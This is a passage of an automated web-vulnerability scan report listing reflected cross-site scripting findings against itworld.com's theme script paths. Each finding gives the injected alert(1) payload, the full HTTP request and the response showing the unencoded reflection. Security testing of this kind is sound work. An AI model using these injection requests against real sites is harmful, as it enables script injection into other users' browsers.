Last-Modified: Mon, 19 Sep 2011 19:25:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460345"
Content-Type: text/html; charset=utf-8
Content-Length: 57442
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:46 GMT
X-Varnish: 1038160995
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js/inlineFieldLabel.js7bb7d"-alert(1)-"414bddd1f09";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.495. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5c44"><script>alert(1)</script>f5a6c13b832 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allb5c44"><script>alert(1)</script>f5a6c13b832/themes/itworld/js/itw_script.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 57596
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:27 GMT
X-Varnish: 252446255
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/allb5c44"><script>alert(1)</script>f5a6c13b832/themes/itworld/js/itw_script.js?h"/>
...[SNIP]...

1.496. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3b04"-alert(1)-"6bea0fdb566 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/alle3b04"-alert(1)-"6bea0fdb566/themes/itworld/js/itw_script.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460160"
Content-Type: text/html; charset=utf-8
Content-Length: 57376
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:47 GMT
X-Varnish: 252446493
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/alle3b04"-alert(1)-"6bea0fdb566/themes/itworld/js/itw_script.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page y
...[SNIP]...

1.497. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8efd"-alert(1)-"3aec20244b6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworldb8efd"-alert(1)-"3aec20244b6/js/itw_script.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460315"
Content-Type: text/html; charset=utf-8
Content-Length: 57382
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:23 GMT
X-Varnish: 1038160012
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworldb8efd"-alert(1)-"3aec20244b6/js/itw_script.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.498. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9aad3"-alert(1)-"35d134a7eb6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/9aad3"-alert(1)-"35d134a7eb6/itw_script.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460369"
Content-Type: text/html; charset=utf-8
Content-Length: 57361
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:10 GMT
X-Varnish: 1038161694
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/9aad3"-alert(1)-"35d134a7eb6/itw_script.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.
...[SNIP]...

1.499. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8be46"><script>alert(1)</script>4da73b3c30b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/8be46"><script>alert(1)</script>4da73b3c30b/itw_script.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460360"
Content-Type: text/html; charset=utf-8
Content-Length: 57581
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:03 GMT
X-Varnish: 1038161424
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/8be46"><script>alert(1)</script>4da73b3c30b/itw_script.js?h"/>
...[SNIP]...

1.500. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56c3c"><script>alert(1)</script>3b82807234e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js/itw_script.js56c3c"><script>alert(1)</script>3b82807234e?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460407"
Content-Type: text/html; charset=utf-8
Content-Length: 57600
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:48 GMT
X-Varnish: 1038162838
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js56c3c"><script>alert(1)</script>3b82807234e?h"/>
...[SNIP]...

1.501. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81266"-alert(1)-"13c6e0fe4c6 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js/itw_script.js81266"-alert(1)-"13c6e0fe4c6?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460414"
Content-Type: text/html; charset=utf-8
Content-Length: 57381
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:55 GMT
X-Varnish: 1038163060
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js/itw_script.js81266"-alert(1)-"13c6e0fe4c6";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.502. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1956"><script>alert(1)</script>2ef2cce4b23 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesa1956"><script>alert(1)</script>2ef2cce4b23/all/themes/itworld/js/jquery.validate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460034"
Content-Type: text/html; charset=utf-8
Content-Length: 57645
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:03 GMT
X-Varnish: 1959723553
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesa1956"><script>alert(1)</script>2ef2cce4b23/all/themes/itworld/js/jquery.validate.js?h"/>
...[SNIP]...

1.503. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12e61"-alert(1)-"c07ec77ffff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites12e61"-alert(1)-"c07ec77ffff/all/themes/itworld/js/jquery.validate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460117"
Content-Type: text/html; charset=utf-8
Content-Length: 57425
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:02 GMT
X-Varnish: 56709377
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites12e61"-alert(1)-"c07ec77ffff/all/themes/itworld/js/jquery.validate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find t
...[SNIP]...

1.504. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e204"-alert(1)-"e1c3d12c661 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes8e204"-alert(1)-"e1c3d12c661/itworld/js/jquery.validate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460188"
Content-Type: text/html; charset=utf-8
Content-Length: 57432
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:13 GMT
X-Varnish: 252446951
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
MS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes8e204"-alert(1)-"e1c3d12c661/itworld/js/jquery.validate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.505. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ef9d"><script>alert(1)</script>37cadc88486 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes9ef9d"><script>alert(1)</script>37cadc88486/itworld/js/jquery.validate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:44 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460164"
Content-Type: text/html; charset=utf-8
Content-Length: 57645
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:45 GMT
X-Varnish: 252446534
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes9ef9d"><script>alert(1)</script>37cadc88486/itworld/js/jquery.validate.js?h"/>
...[SNIP]...

1.506. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83cb4"-alert(1)-"491ea5862c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js83cb4"-alert(1)-"491ea5862c/jquery.validate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460333"
Content-Type: text/html; charset=utf-8
Content-Length: 57422
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:44 GMT
X-Varnish: 1038160663
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
